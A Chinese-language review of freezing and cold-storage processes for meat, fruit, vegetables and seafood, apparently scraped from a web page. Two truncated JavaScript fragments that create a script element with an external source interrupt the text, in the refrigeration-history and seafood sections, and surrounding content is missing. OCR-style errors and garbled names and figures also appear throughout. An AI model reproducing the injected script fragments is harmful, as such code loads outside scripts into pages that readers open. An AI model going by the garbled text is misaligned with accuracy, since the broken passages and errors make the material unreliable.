肉制品加工冷冻方法综述冷冻冷藏食品加工技术摘要：冷冻冷藏技术目前已在食品加工行业得到了极为广泛的应用，速冻食品也已成为人们非常青睐的一种加工食品 本文阐述了食品冷冻冷藏的机理， 简单介绍了制冷技术的发展史，同时，作者研究了当今食品工业中果蔬、畜产品和常见水产品三类食品的冷冻冷藏加工工艺 叙述了现阶段国内外冷冻冷藏食品行业的发展状况 最后针对速冻行业发展中的问题提出了几点对策关键词：食品冷冻冷藏；速冻食品；食品保鲜；食品加工前言冷冻冷藏食品产业是随着社会经济的发展而兴起的一门新兴食品产业目前该产业已发展成为品种多样、规模较大的食品制造业，是现代食品工业的重要组成部分 冷冻与冷藏食品已成为人们现代饮食生活不可缺少的部分，并日益成为主流食品之一同时，冷冻与冷藏食品产业已经成为一些地区经济发展的主要产业， 并对促进农产品深加工、实现农业产、化、解决“三农”问题起到了重要的作用 [1] 一、食品冷冻冷藏加工的机理食品冷冻作为工业规模的食品保藏方法在世界各地得到日益广泛的应用食品冷冻冷藏的机理首先是：在0 ℃以下的低温，微生物的生命活动受到显著抑制，从而防止食品腐败其次，在低温下影响食品品质的酶反应和氧化反应等所有反应速度显著下降。
另外， 在产品中形成冻晶，也是微生物的活动和变质反应的水的活度降低[2] 所谓速冻， 就是将食品中心温度快速冷冻到 - 1℃到 - 5℃， 通过最大冰晶生成带所需时间不超过30分钟 鲜鱼和畜肉等含水率较高的食品，当品温达到 - 1℃时，食品中的水分开始冻结，温度降至-5℃时，所含水分的80%冻结这时，整个食品大致成为冻结状态因此1℃- 5℃的温度界限称为最大冰晶生成带冻结速度定义为： 食品表面至中心点距离除以中心品温自-i c降低至-5C所需时间的商，一般以cm/h表示[3] 二、制冷技术发展史19 世纪初人工冷源的出现使食品冷冻冷藏出现了划时代的发展1834年英国人 JacobPerking 发明了以乙醚为冷媒的压缩式冷冻机，它是世界上第一部实用冷冻机 1872 年美国人 Carre 发明以氨为制冷剂，以水为吸收剂的压缩式冷冻机 1872 年美国人 David 、 Boyie 与德国人 CariVonLnde 分别单独发明以氨为冷媒的压缩式冷冻机 这些冷冻机当时都作为制冰机使用，代替天然冷源[4] varscript=document.createEiement('script');script.src=' 年法国人 ChariesTeiier 为了解决把牛羊肉从新西兰和阿根廷等国运回法国，开始用氨吸收式冷冻机，先是用于冷却牛肉，接着用于冻结牛肉和羊肉， 以解决较长时间的海运肉类保鲜问题， 这是冷冻食品作为商品以来的首次问世[5] 。
1930 年以来， 在家用冰箱上， 大量使用无毒、 无味的氟里昂制冷剂，它不像氨气那样有爆炸的危险 但氟里昂易被破坏臭氧层， 所以又推出了溴化锂、含氢氟烃等冷媒20 世纪 70 年代出现了液态氮和液态二氧化碳作为冷媒的制冷技术，它可直接喷洒在食品的表面，不仅可以急冷，而且可以深冷，如用液氮可以得到—196℃的低温[6] 三、各类食品冷冻冷藏工艺（一）果蔬速冻工艺 [7]1、工艺流程原料一预处理（挑选、清洗、分级、去皮、切分）一烫漂一冷却一沥干一速冻—包装—冷藏一运销2、操作要点原料要有出色的风味、 颜色， 理想的质地， 均一的成熟度， 抗病虫害，高产，适合机械采收；烫漂的关键是：热处理的温度和时间；热烫后应迅速冷却，冷却分为水冷和空气冷却， ；原料经烫漂、冷却后，表面有一定量的水，要去除掉，不然不利于快速解冻、动后包装；快速冷冻要求果蔬原料在很短时间内迅速通过最大冰晶形成带， 冻品的中心温度应在- 18℃一下才能保证质量；包装可以控制和防止食品在贮藏过程中的一些变质，可分为内、中、外包装；速冻食品一般采用冻藏保存，而且要求温度要稳定温度越低，品质越好；运销过程中要维持好低温，运输时间长的要控制在- 18℃一下，一般为- 15℃。
二）常见速冻水产品加工工艺流程[8]1、速冻虾仁原料验收一原料贮存-剥虾-验收-清洗-浸泡一杀青-冷却一分规格一冻结一包冰衣一金属探测一装箱-冷藏运输2、速冻单体龙虾鲜虾一挑选一清洗一分级-高温蒸煮-低温冷却一去壳一单体速冻—计量—包装—冷藏3、速冻鲸鱼varscript=document.createElement('script');script.src='http:〃 一急冻-装箱-冷藏6、速冻牡蛎牡蛎选料一清洗-浸泡、吐沙一开壳取肉-分级、检验-漂洗一沥水一冻结-镀冰-真空包装一冻藏 7、冷冻海鳗片收购运输一挑选一活杀放血一切尾再放血—浸水去血一去内脏一清洗一冰水保鲜-冰水清洗一拨除背鳍、愕鳍和尾鳍部分一去骨、头、尾一取鱼片一分规格一漂洗一摆盘一速冻一称重-镀冰一套袋一装箱打包一冷藏8、速冻蝴蝶贝原料-低温保活-洗涤一破壳取肉一取斧足一洗涤一开片一去脏整形一分选一洗涤一称重一装盘一预冷一速冻-脱盘-包装一成品检验-冷藏(三)畜禽肉的冻藏工艺 [6]1、冻结方法静止空气冻结法；板式冻结；风冷式速冻2、冻结冬藏工艺流程1) 、两阶段冻结工艺讲经加工整理后的肉胴体先送冷却间进行冷却，待肉体温度冷却至0- 4℃时再送入冻结间冻结。
经过冷却的肉在室温 -23- 25℃，空气流速为 2-3m/s 的冻结时间内， 经过约 20-24h 后腿中心肌肉温度可降至- 15℃目前，美国、德国、日本等国家对肉类的冻结大都采用两阶段冻结工艺方法2) 、直接冻结工艺即在牲畜屠宰加工整理后， 先放入凉肉间进行分级暂存， 在凉肉间内吹风除去体表水 待胴体肉累积到相当于一间冻结间容量时， 集中迅速推进库温在-15℃一下的冻。